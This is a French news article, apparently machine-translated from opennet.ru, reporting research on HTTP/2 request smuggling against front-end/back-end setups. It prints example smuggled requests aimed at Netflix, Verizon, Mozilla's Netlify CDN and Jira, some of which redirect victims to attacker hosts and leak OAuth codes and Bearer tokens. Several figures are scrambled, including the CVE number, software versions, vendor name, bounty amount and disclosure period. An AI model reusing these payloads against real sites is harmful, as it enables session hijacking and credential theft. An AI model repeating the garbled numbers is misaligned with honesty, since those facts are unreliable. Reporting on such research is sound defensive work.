Une nouvelle attaque sur les systèmes front-end-backend qui vous permet de vous faufiler dans les requêtes

Les systèmes Web dans lesquels le front-end accepte les connexions via HTTP/2 et les transmet au backend via HTTP/1.1 ont été exposés à une nouvelle variante de l'attaque « HTTP Request Smuggling », qui permet, en envoyant des requêtes clients spécialement conçues, de se caler sur le contenu des requêtes des autres utilisateurs traitées dans le même flux entre frontend et backend. L'attaque peut être utilisée pour insérer du code JavaScript malveillant dans une session avec un site Web légitime, contourner les systèmes de restriction d'accès et intercepter les paramètres d'authentification.

Le problème affecte les proxys Web, les équilibreurs de charge, les accélérateurs Web, les systèmes de diffusion de contenu et d'autres configurations dans lesquelles les requêtes sont redirigées de manière front-end vers backend. L'auteur de l'étude a démontré la possibilité d'attaquer les systèmes de Netflix, Verizon, Bitbucket, Netlify CDN et Atlassian, et a reçu 56 5 dollars de programmes de récompense pour l'identification des vulnérabilités. Le problème a également été confirmé dans les produits F2021 Networks. Le problème affecte partiellement mod_proxy dans le serveur http Apache (CVE-33193-2.4.49), un correctif est attendu dans la version 3 (les développeurs ont été informés du problème début mai et ont eu 1.21.1 mois pour le résoudre). Dans nginx, la possibilité de spécifier simultanément les en-têtes « Content-Length » et « Transfer-Encoding » a été bloquée dans la dernière version (XNUMX). Les outils d'attaque sont déjà inclus dans la boîte à outils Burp et sont disponibles sous la forme de l'extension Turbo Intruder.

Le principe de fonctionnement de la nouvelle méthode de calage des requêtes dans le trafic est similaire à la vulnérabilité identifiée par le même chercheur il y a deux ans, mais limitée aux frontends acceptant les requêtes via HTTP/1.1. Rappelons que dans le schéma frontend-backend, les requêtes des clients sont reçues par un nœud supplémentaire - le frontend, qui établit une connexion TCP de longue durée avec le backend, qui traite directement les requêtes. Grâce à cette connexion commune, sont généralement transmises les requêtes de différents utilisateurs, qui suivent la chaîne les unes après les autres, séparées au moyen du protocole HTTP.

L'attaque classique « HTTP Request Smuggling » était basée sur le fait que les frontends et backends interprètent l'utilisation des en-têtes HTTP « Content-Length » (détermine la taille totale des données dans la requête) et « Transfer-Encoding: chunked » (permet données à transférer en partie) différemment. . Par exemple, si le frontend ne prend en charge que « Content-Length » mais ignore « Transfer-Encoding: chunked », alors un attaquant pourrait envoyer une requête contenant à la fois les en-têtes « Content-Length » et « Transfer-Encoding : chunked », mais la taille est "Content-Length" et ne correspond pas à la taille de la chaîne fragmentée. Dans ce cas, le front-end traitera et redirigera la demande conformément à « Content-Length », et le backend attendra la fin du bloc en fonction de « Transfer-Encoding : chunked » et de la queue restante de la demande de l'attaquant. sera au début de la demande de quelqu'un d'autre transmise ensuite.

Contrairement au protocole texte HTTP/1.1, qui est analysé au niveau de la ligne, HTTP/2 est un protocole binaire et manipule des blocs de données d'une taille prédéfinie. Cependant, HTTP/2 utilise des pseudo-en-têtes qui correspondent aux en-têtes HTTP classiques. Dans le cas d'une interaction avec le backend via le protocole HTTP/1.1, le frontend traduit ces pseudo-en-têtes en en-têtes HTTP similaires HTTP/1.1. Le problème est que le backend prend des décisions concernant l'analyse du flux en fonction des en-têtes HTTP définis par le frontend, sans avoir d'informations sur les paramètres de la requête d'origine.

En particulier, les valeurs « content-length » et « transfer-encoding » peuvent être transmises sous forme de pseudo-en-têtes, malgré le fait qu'elles ne soient pas utilisées dans HTTP/2, puisque la taille de toutes les données est déterminée dans un champ séparé. Cependant, lors du processus de conversion d'une requête HTTP/2 en HTTP/1.1, ces en-têtes sont reportés et peuvent perturber le backend. Il existe deux variantes d'attaque principales : H2.TE et H2.CL, dans lesquelles le backend est induit en erreur par une valeur de codage de transfert ou de longueur de contenu incorrecte qui ne correspond pas à la taille réelle du corps de la requête reçue par le frontend via le Protocole HTTP/2.

Une nouvelle attaque sur les systèmes front-end-backend qui vous permet de vous faufiler dans les requêtes

Un exemple d'attaque H2.CL consiste à spécifier une taille incorrecte dans le pseudo-en-tête de longueur de contenu lors de l'envoi d'une requête HTTP/2 à Netflix. Cette requête conduit à l'ajout d'un en-tête HTTP similaire Content-Length lors de l'accès au backend via HTTP/1.1, mais comme la taille dans Content-Length est spécifiée inférieure à la taille réelle, une partie des données dans la queue est traitée comme la taille réelle de Content-Length. début de la prochaine requête.

Par exemple, requête HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Hôte : 02.rs?x.netflix.com Foo: bar

Entraînera l'envoi d'une requête au backend : POST /n HTTP/1.1 Hôte : www.netflix.com Content-Length : 4 abcdGET /n HTTP/1.1 Hôte : 02.rs?x.netflix.com Foo : bar

Puisque Content-Length a une valeur de 4, le backend acceptera uniquement « abcd » comme corps de la requête, et le reste de « GET /n HTTP/1.1… » sera traité comme le début d’une requête ultérieure. associé à un autre utilisateur. En conséquence, le flux sera désynchronisé et en réponse à la requête suivante, le résultat du traitement de la requête factice sera émis. Dans le cas de Netflix, la spécification d'un hôte tiers dans l'en-tête « Hôte : » dans une requête factice a entraîné le renvoi par le client de la réponse « Location : https://02.rs?x.netflix.com/n » et autorisé l'envoi de contenu arbitraire au client, notamment Exécutez votre code JavaScript dans le contexte du site Netflix.

La deuxième option d'attaque (H2.TE) consiste à remplacer l'en-tête « Transfer-Encoding : chunked ». L'utilisation du pseudo-en-tête de codage de transfert dans HTTP/2 est interdite par la spécification et les requêtes qui l'accompagnent doivent être traitées comme incorrectes. Malgré cela, certaines implémentations frontend ne prennent pas en compte cette exigence et autorisent l'utilisation d'un pseudo-en-tête de codage de transfert dans HTTP/2, qui est converti en un en-tête HTTP similaire. S'il existe un en-tête « Transfer-Encoding », le backend peut le prendre comme une priorité plus élevée et analyser les données pièce par pièce en mode « fragmenté » en utilisant des blocs de différentes tailles au format « {taille}\r\n{bloc }\r\n{size} \r\n{block}\r\n0", malgré la division initiale par taille globale.

La présence d'une telle lacune a été démontrée par l'exemple de Verizon. Le problème concernait le portail d'authentification et le système de gestion de contenu, également utilisés sur des sites tels que le Huffington Post et Engadget. Par exemple, une requête client via HTTP/2 : method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Hôte : psres.net Content-Length : 10 x=

A entraîné l'envoi d'une requête HTTP/1.1 au backend : POST /identity/XUI HTTP/1.1 Hôte : id.b2b.oath.com Content-Length : 66 Transfer-Encoding : chunked 0 GET /oops HTTP/1.1 Host : psres. Contenu net - Longueur : 10x=

Le backend, à son tour, a ignoré l'en-tête « Content-Length » et a effectué une division en flux basée sur « Transfer-Encoding: chunked ». En pratique, l'attaque a permis de rediriger les requêtes des utilisateurs vers leur site internet, notamment en interceptant les requêtes liées à l'authentification OAuth, dont les paramètres étaient affichés dans l'en-tête Referer, ainsi que de simuler une session d'authentification et de déclencher l'envoi d'identifiants par le système de l'utilisateur. à l'hôte de l'attaquant. GET /b2blanding/show/oops HTTP/1.1 Hôte : psres.net Référent : https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Hôte : psres.net Autorisation : Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Pour attaquer les implémentations HTTP/2 qui ne permettent pas de spécifier le pseudo-en-tête transfer-encoding, une autre méthode a été proposée qui consiste à substituer l'en-tête « Transfer-Encoding » en l'attachant à d'autres pseudo-en-têtes séparés par un caractère de nouvelle ligne ( une fois converti en HTTP/1.1, cela crée dans ce cas deux en-têtes HTTP distincts).

Par exemple, Atlassian Jira et Netlify CDN (utilisés pour servir la page de démarrage de Mozilla dans Firefox) ont été concernés par ce problème. Plus précisément, la requête HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Contenu-Longueur : 5\r\n \r\n x=

a entraîné l'envoi d'une requête HTTP/1.1 POST / HTTP/1.1 au backend\r\n Hôte : start.mozilla.org\r\n Foo : b\r\n Transfer-Encoding : chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Hôte : evil-netlify-domain\r\n Longueur du contenu : 5\r\n \r \nx=

Une autre option pour remplacer l'en-tête « Transfer-Encoding » était de l'attacher au nom d'un autre pseudo-en-tête ou à une ligne avec une méthode de requête. Par exemple, lors de l'accès à Atlassian Jira, le nom du pseudo-en-tête « foo:bar\r\ntransfer-encoding » avec la valeur « chunked » entraînait l'ajout des en-têtes HTTP « foo:bar » et « transfer-encoding: chunked ». , et en spécifiant la valeur du pseudo-en-tête ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" a été traduit en "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Le chercheur qui a identifié le problème a également proposé une technique de tunneling de requêtes pour attaquer les frontends, dans laquelle chaque adresse IP établit une connexion distincte avec le backend et le trafic des différents utilisateurs n'est pas mélangé. La technique proposée ne permet pas d'interférer avec les requêtes des autres utilisateurs, mais permet d'empoisonner un cache partagé qui affecte le traitement des autres requêtes, et permet la substitution des en-têtes HTTP internes utilisés pour transférer les informations de service du frontend vers le backend ( par exemple, lors de l'authentification côté frontend dans De tels en-têtes peuvent transmettre des informations sur l'utilisateur actuel au backend). À titre d'exemple d'application pratique de la méthode, en utilisant l'empoisonnement du cache, il a été possible de prendre le contrôle des pages du service Bitbucket.

Source: opennet.ru

Ajouter un commentaire